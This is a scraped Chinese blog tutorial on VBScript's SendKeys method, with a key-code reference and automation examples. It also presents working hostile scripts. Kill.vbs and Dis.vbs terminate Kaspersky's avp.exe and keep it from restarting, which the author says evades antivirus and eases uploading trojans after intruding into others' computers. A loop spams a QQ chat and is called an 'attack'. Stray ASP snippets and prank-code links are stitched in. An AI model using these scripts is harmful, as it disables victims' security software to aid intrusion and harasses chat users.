VBS自动按键大全,vbs基本和特殊按键
CreateObject("Wscript.Shell")
SendKeys [String]
脚本实现自动按键盘的某个键 过程是:
按下F5
间隔50毫秒
松开F5
间隔3000毫秒
按下F5
间隔50毫秒
松开F5
回到第一步
批处理是不行的 用VBS 很简单 例子如下
Set objShell = CreateObject("Wscript.Shell")
do
WScript.Sleep 3000
objShell.SendKeys "{F5}"
WScript.Sleep 3000
objShell.SendKeys "{F5}"
loop
使用 SendKeys 方法可以将键击发送到无自动化界面的应用程序中。多数键盘字符都可用一个键击表示。某些键盘字符由多个键击组合而成(例如,CTRL+SHIFT+HOME)。要发送单个键盘字符,请将字符本身作为 string 参数发送。例如,要发送字母 x,则请发送 string 参数 "x"。
可使用 SendKeys 同时发送多个键击。为此,可将每个键击按顺序排列在一起,以此来创建表示一系列键击的复合字符串参数。例如,要发送键击 a、b 和 c,则需要发送字符串参数 "abc" 。SendKeys 方法将某些字符用作字符的修饰符(而不使用其本身的含义)。这组特殊的字符可包括圆括号、中括号、大括号,以及:
加号 "+"
插入记号 "^"
百分号 "%"
和“非”符号 "~"
用大括号 "{}" 括起这些字符可以发送它们。例如,要发送加号,请使用字符串参数 "{+}"。SendKeys中使用的中括号 "[ ]" 无任何特殊含义,但是必须把它们括在大括号中,以便容纳确实要赋予其特殊含义的应用程序(例如,对于动态数据交换 (DDE) 就是这样)。
要发送左中括号字符,请发送字符串参数 "{[}";要发送右中括号字符,请发送字符串参数 "{]}"。
要发送左大括号字符,请发送字符串参数 "{{}";要发送右大括号字符,请发送字符串参数 "{}}"。
某些键击不生成字符(如 ENTER 和 TAB)。某些键击表示操作(如 BACKSPACE 和 BREAK)。要发送这些类型的键击,请发送下表中列出的参数:
空格键 " "
退格键 {BACKSPACE} 或 {BS} 或 {BKSP}
BREAK {BREAK}
Delete {Delete} 或 {DEL}
向下键 {DOWN}
向上键 {UP}
向左键 {LEFT}
向右键 {RIGHT}
END {END}
ENTER {ENTER} 或 ~
ESC {ESC}
TAB {TAB}
CAPS LOCK {CAPSLOCK}
HELP {HELP}
HOME {HOME}
Insert {Insert} 或 {INS}
NUM LOCK {NUMLOCK}
PAGE DOWN {PGDN}
PAGE UP {PGUP}
PRINT SCREEN {PRTSC}
SCROLL LOCK {SCROLLLOCK}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
要发送由常规键击和 SHIFT、CTRL 或 ALT 组合而成的键盘字符,请创建表示该键击组合的复合字符串参数。可通过在常规键击之前添加一个或多个以下特殊字符来完成上述操作:
SHIFT +
CTRL ^
ALT %
注意:这样使用时,不用大括号括起这些特殊字符。
要指定在按下多个其他键时,按下 SHIFT、CTRL 和 ALT 的组合,请创建复合字符串参数,用括号括起其中的组合键。例如,要发送的组合键指定:
如果在按 e 和 c 的同时按 SHIFT 键,则发送字符串参数 "+(ec)"。
如果在按 e 时只按 c(而不按 SHIFT),则发送字符串参数 "+ec"。
可使用 SendKeys 方法发送一种在一行内重复按键的键击。为此,要创建复合字符串参数,以指定要重复的键击,并在其后指定重复次数。可使用 {键击 数字} 形式的复合字符串参数来完成上述操作。例如,如果要发送 10 次 "x",则需要发送字符串参数 "{x 10}"。请确保在键击和数字之间有一个空格。
注意:只可以发送重复按一个键的键击。例如,可以发送 10 次 "x",但不可发送 10 次 "Ctrl+x"。
注意:不能向应用程序发送 PRINT SCREEN 键 {PRTSC}。
例子1:关机脚本 (模拟按键为:Ctrl + Esc、u、u )
把以下代码复制至记事本,另存为 off.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}uu"
例子2:重启脚本 (模拟按键为:Ctrl + Esc、u、r )
把以下代码复制至记事本,另存为 reboot.vbs
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "^{ESC}ur"
例子3:切换输入法 (模拟同时按下:Shift Ctrl )
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "+(^)"
例子4:输入 cn-dos.net! 至记事本并保存为 CnDos.txt
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 1500
WshShell.AppActivate "无标题 - 记事本"
WshShell.SendKeys "c"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "-"
WScript.Sleep 200
WshShell.SendKeys "d"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "."
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "e"
WScript.Sleep 200
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "!"
WScript.Sleep 200
WshShell.SendKeys "%FS"
WScript.Sleep 500
WshShell.SendKeys "C"
WScript.Sleep 200
WshShell.SendKeys "n"
WScript.Sleep 200
WshShell.SendKeys "D"
WScript.Sleep 200
WshShell.SendKeys "o"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "%S"
WScript.Sleep 500
WshShell.SendKeys "%FX"
例子5:自动定时存盘的记事本(此脚本来自网上)
'第一部分:定义变量和对象
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=(1000*60*1) '自动存盘时间为1分钟
Set WshShell=WScript.CreateObject("WScript.Shell")
TXTFileName=InputBox("给文本起名(不能用中文和纯数字):")
'第二部分:打开并激活记事本
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate "无标题 - 记事本"
'第三部分:用输入的文件名存盘
WshShell.SendKeys "^s"
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys "%s"
WScript.Sleep AutoSaveTime
'第四部分:自动定时存盘
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys "^s"
WScript.Sleep AutoSaveTime
Wend
WScript.Quit
例子:
set objShell = CreateObject("Wscript.Shell")
strCommandLine = "psetup755281.exe" '启动安装程序
objShell.Run(strCommandLine)
set WshShell = CreateObject("WScript.Shell")
WScript.Sleep 2000 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 300 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 300 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 5200 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 300 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 300 '延时3秒
WshShell.SendKeys "{ENTER}" '模拟按下回车键执行下一步
WScript.Sleep 200
WshShell.SendKeys " " '模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep 100
WshShell.SendKeys "{TAB}" '模拟按下 Tab 键选择安装项目
WScript.Sleep 200
WshShell.SendKeys " " '模拟按下空格键去除安装百度超级搜霸一行前的√号
WScript.Sleep 200 '延时0.3秒
WshShell.SendKeys "f" '模拟按下 F键同意协议
*************
另外方式:
<%
dim endtime
endtime=timer()
response.write "页面执行时间:"&FormatNumber(endtime*1000,3)&"毫秒"
%>
对比下面是计算相差的日期
<%
sdate="2008-1-10"
DiffADate=DateDiff("d",sdate,now)
%>
***************************************************************
VBS中SendKeys方法将响应键盘的操作,并发送此值。这样将实现许多有趣、适用、方便的功能!基本上只要键盘能完成的操作,SendKeys就能一并完成。你想到了什么?嘿嘿!下面的代码是经过我一个晚上的整理与测试。其中QQ自动登录的不成功!不是代码不行,估计是最新版QQ的保护机制!
第一个例子、将下面这段代码保存为ie.vbs,运行此vbs,将会打开我的博客。
set s = WScript.CreateObject("WScript.Shell") '创建WScript.Shell对象
app=s.Run ("iexplore") '打开IE浏览器
WScript.Sleep 1000 '这表示停顿1000毫秒,即1秒,下面一样……
s.AppActivate app
s.SendKeys "+{TAB}"
s.SendKeys "http://hi.baidu.com/ycosxhack"
s.SendKeys "{ENTER}"
这段代码响应了键盘三个动作:Shift+Tab聚焦于地址栏、键入“http://hi.baidu.com/ycosxhack”、Enter回车。于是这样就打开我的博客了^^
第二个例子、将下面代码保存为qq.vbs,运行此vbs,将会自动输入你的QQ帐号与密码,然后登录。
set s = WScript.CreateObject("WScript.Shell")
app=s.Run ("D:\Progra~1\Tencent\QQ\QQ.exe") '你QQ的路径!
'注意Program Files要写成Progra~1,我一个晚上测试出来的答案- -!!
WScript.Sleep 1000
s.AppActivate app
s.SendKeys "+{TAB}"
WScript.Sleep 500
s.SendKeys "78669255"
s.SendKeys "{TAB}"
WScript.Sleep 500
s.SendKeys "123456"
WScript.Sleep 1000
s.SendKeys "{ENTER}"
这段代码响应了键盘五个动作:Shift+Tab、输入QQ号78669255、Tab、输入QQ密码123456、Enter回车,测试时,将这些值换成你自己的。
能懂这两个例子,其它不就可以举一反三了吗?记住只要键盘能完成的SendKeys基本都是可以完成的!那些黑客们经常用到的快捷键(基本不用鼠标就可以完成任务!)都可以模拟出来,再举个小例子,打开“任务管理器”,Ctrl+Shift+Esc对吧?看下面代码:
set s = WScript.CreateObject("WScript.Shell")
s.SendKeys "^+{ESC}"
运行后,是不是打开任务管理器啦?要关闭电脑?调用cmd?删除文件?格式硬盘?等等,通过SendKeys方法皆可轻易完成!这在某些方面也许会很有用,比如:黑客方面……
呃~~~上面的SendKeys方法是不是有点地方不明白?如:打开“任务管理器”的例子,SendKeys "^+{ESC}"中^+{ESC}为什么代表Ctrl+Shift+Esc?放心,最后我会给出MSDN的SendKeys方法的帮助文档,很简单,自己一看就会恍然大悟的!^^
最后来个有点恶作剧的例子,就是网上有点流行的“QQ消息疯狂乱发”,如何实现?看下面代码:
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate ""
for i=1 to 100 '循环发送消息100次!
WScript.Sleep 2000
WshShell.SendKeys "^v" '粘贴剪切板里的内容到QQ聊天面板上!
WshShell.SendKeys "%s" '发送……
next
打开某位好友或某个群的聊天面板,将此脚本代码保存为AttactQQ.vbs,运行后,将鼠标聚焦与聊天面板上,此时“攻击”就开始了……哈哈!别太疯狂了!
估计你已经了解了VBS的SendKeys方法了吧?
两个简易VBS脚本结束进程与防止进程启动
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)
Kill.vbs:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程
end if
next
Dis.vbs
dim y,x '不要这行也行……
do '来个死循环……一直在判断!do ... loop内为循环体!
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!
set x=y.execquery("select * from win32_process where name='avp.exe'")
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……
for each i in x
i.terminate() '卡巴要启动马上就终止……
next
wscript.sleep
loop
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……
*******************************************************************************
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "cmd"
' 让脚本等待1000毫秒,也就是1秒再执行下一条语句
WScript.Sleep 1000
' -- 发送字符时,输入法一定要在英文件状态下
' 发送分号
WshShell.SendKeys ";"
WScript.Sleep 1000
' 发送冒号
WshShell.SendKeys ":"
WScript.Sleep 1000
' 发送双引号 -- 利用chr把双引号转换出来
WshShell.SendKeys Chr(34)
WScript.Sleep 1000
' 发送带有双引号的字符串
WshShell.SendKeys Chr(34)&"this is a string"&Chr(34)
WScript.Sleep 1000
' -- 切记,这里是模拟的击键操作,所以不能发送中文
'WshShell.SendKeys Chr(34)&"这是一个字符串"&Chr(34)
WScript.Sleep 1000
' ================================================
' -- 如何模拟回车,上档键,Alt键喃?
' ================================================
' -- 如何模拟回车, -- {enter}这就代表是发送回车
WshShell.SendKeys "this is a enter!{enter}"
WScript.Sleep 1000
' -- 如何模拟上档键Shift, -- +这就代表是发送shift
WshShell.SendKeys "this is +a" ' 结果为 this is A
WScript.Sleep 1000
' -- 如何模拟Alt, -- %这就代表是发送Alt
WshShell.SendKeys "this is %{TAB}" ' 结果为 切换窗口
WScript.Sleep 1000
' ===========================================================
' -- 那么如何发送%, + ^ 喃
WshShell.SendKeys "this is {+}{^}{%}" ' 结果为 切换窗口
WScript.Sleep 1000
' -- 这里你可能已经明白了,发送送特殊字符时,请放到 {} 中
' ===========================================================
' ======================================
' 更多信息请看VBS帮助文档 2009-07-26
' ======================================
VBS自动按键大全,vbs基本和特殊按键的更多相关文章
- 黑客整人代码,vbS整人代码大全(强制自动关机、打开无数计算器、无限循环等)
vbe与vbs整人代码大全,包括强制自动关机.打开无数计算器.无限循环等vbs整人代码,感兴趣的朋友参考下.vbe与vbs整人代码例子:set s=createobject("wscript ...
- 'Rem EverythingAutoSetup.VBS 安装Everything的VBS脚本 2019年11月25日写
'Rem EverythingAutoSetup.VBS 安装Everything的VBS脚本 2019年11月25日写 'Rem Everything是voidtools开发的一款本地NTFS文件和 ...
- VBS 自动发送邮件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 3 ...
- 按键精灵 vbs 获取网页源码 xp系统被拒绝
如下面的代码所示,获取新浪博客某个指定网页的源码 verurl = "http://blog.sina.com.cn/s/blog_9ea1db7b0101o7ch.html?" ...
- VBS 自动发消息给对方
http://www.vbsedit.com/ Dim Name,Msg Name= "我家丫头" Msg = "333" set ws=wscript.cre ...
- 按键精灵如何调用Excel及按键精灵写入Excel数据的方法教程---入门自动操作表格
首先来建立一个新的Excel文档,在桌面上点击右键,选择[新建]-[Excel工作表],命名为[新手学员]. 现在这个新Excel文档是空白的,我们接下来会通过按键精灵的脚本来打开并写入一些数据.打开 ...
- Eclipse变量名自动补全问题 自定义上屏按键为TAB
Eclipse空格等号等都可以上屏,这样有时候输入变量名再按空格就会自动补全,非常讨厌.那么怎么办呢? 1.首先你的Eclipse需要装有 Eclipse plug-in development en ...
- Vim常用按键大全
Vim完全可以用键盘进行操作.本文将常用的按键归纳总结. 第一部分:一般模式可用的按钮,如光标移动.复制粘贴.查找替换等 移动光标的方法 h, j, k, l 光标向左,下,上,右移动 Ctrl + ...
- adb 常用命令大全(6)- 模拟按键输入
语法格式 input [<source>] <command> [<arg>...] 物理键 # 电源键 adb shell input keyevent 26 # ...
随机推荐
- 自己写的书《深入理解Android虚拟机内存管理》,不出版只是写着玩
百度网盘地址:https://pan.baidu.com/s/1jI4xZgE 我给起的书名叫做<深入理解Android虚拟机内存管理>.本书分为两个部分,前半部分主要是我对Linux0. ...
- MySQL数据库操作常用命令
MySQL数据库操作常用命令DOS连接数据库1.安装MySQL配置好环境2.运行cmd命令net start mysql3.找到mysql文件根目录输入命令mysql -h localhost -u ...
- 模板不存在:./xx 错误位置 FILE: LINE:110 (thinkphp上传至服务器后模板无法解析原因)
thinkphp上传至服务器后模板无法解析原因 前几日做好的响应式静态页面上传至虚拟空间,打开网址地址出现: 模板不存在:./App/Admin/View/Config/customerService ...
- Bootstrap实现轮播图
第一步:设计轮播图容器:div.carousel,添加slide平滑切换,并定义id,方便后面采用data属性来触发 <div class='carousel slide' id="t ...
- 取代netcat
前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...
- iOS 生成随机字符串 从指定字符串随机产生n个长度的新字符串
随机字符串 - 生成指定长度的字符串 -(NSString *)randomStringWithLength:(NSInteger)len { NSString *letters = @"a ...
- 关于JS的页面跳转
"window.location.href"."location.href"是本页面跳转 "parent.location.href"是上一 ...
- CAP理论与MongoDB一致性、可用性的一些思考
大约在五六年前,第一次接触到了当时已经是hot topic的NoSql.不过那个时候学的用的都是mysql,Nosql对于我而言还是新事物,并没有真正使用,只是不明觉厉.但是印象深刻的是这么一张图片( ...
- 使用CSS设置滚动条样式以及如何去掉滚动条的方法
<STYLE> BODY { SCROLLBAR-FACE-COLOR: #f892cc; SCROLLBAR-HIGHLIGHT-COLOR: #f256c6; SCROLLBAR-SH ...
- 读《深入理解Java虚拟机》
Java虚拟机运行时数据区 对象的创建 Java创建对象,在语言层面上使用new关键字.虚拟机遇到new关键字时,会检查这个指令的参数是否能在常量池中定位到一个类的符号引用,并且检查这个符号引用代表的 ...